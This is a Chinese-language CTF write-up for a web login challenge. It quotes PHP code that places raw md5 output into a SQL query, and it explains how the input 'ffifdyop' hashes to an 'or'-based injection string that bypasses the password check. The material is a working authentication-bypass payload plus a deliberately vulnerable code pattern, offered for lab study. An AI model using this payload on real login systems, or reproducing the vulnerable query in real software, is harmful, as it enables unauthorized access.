後臺登錄(實驗吧CTF題庫-WEB)

後臺登錄(實驗吧CTF題庫-WEB)

題目概述

分值:10 難度:易參 解題通過率:94%
格式:flag:{xxx}
題目鏈接:http://www.shiyanbar.com/ctf/2036

參考解題步驟

1、首先,我們先查看一下網頁源碼,發現其中有以下注釋內容

$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
	echo 'flag is :'.$flag;
}
else{
	echo '密碼錯誤!';
}

推斷應該是sql注入

2、進一步觀察可以發現這並不是普通的sql注入,md5($password,true) 輸入的密碼被md5加密了。
先來看一下這個md5加密函數:

參數 描述
string 必需。規定要計算的字符串。
raw 可選。規定十六進制或二進制輸出格式:
TRUE - 原始 16 字符二進制格式
FALSE - 默認。32 字符十六進制數

可以看到如果第二個參數爲true時,該函數的輸出是原始二進制格式,會被作爲字符串處理。因此我們希望構建一個字符串,這個字符串經過md5加密後輸出的原始二進制(作爲字符串處理)剛好是注入語句。

3、尋找字符串
可以看到題目url裏的ffifdyop,這算是一個比較明顯的提示,因爲ffifdyop就是一個符合要求的字符串。
將ffifdyop用md5加密後的結果爲276f722736c95d99e921722cf9ed621c
將ffifdyop用md5加密
將十六進制的276f722736c95d99e921722cf9ed621c轉換爲字符串爲’or’6�]��!r,��b
十六進制轉字符串
我們只需關心’or’6即可,其後是什麼無所謂。這與mysql的判斷機制有關。

4、提交字符串(ffifdyop)即可得到答案flag is :flag{ffifdyop_has_trash}
答案

驗證

測試語句

CREATE TABLE IF NOT EXISTS `admin`(
   `username` VARCHAR(50) NOT NULL,
   `password` VARCHAR(50) NOT NULL,
   PRIMARY KEY (`username`)
)ENGINE=InnoDB DEFAULT CHARSET=utf8;

INSERT INTO admin (username, password) VALUES('admin', 'lalala123');

SELECT * FROM admin WHERE username = 'admin' and password = ''or'6�]��!r,��b';

結果
測試數據庫結果

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章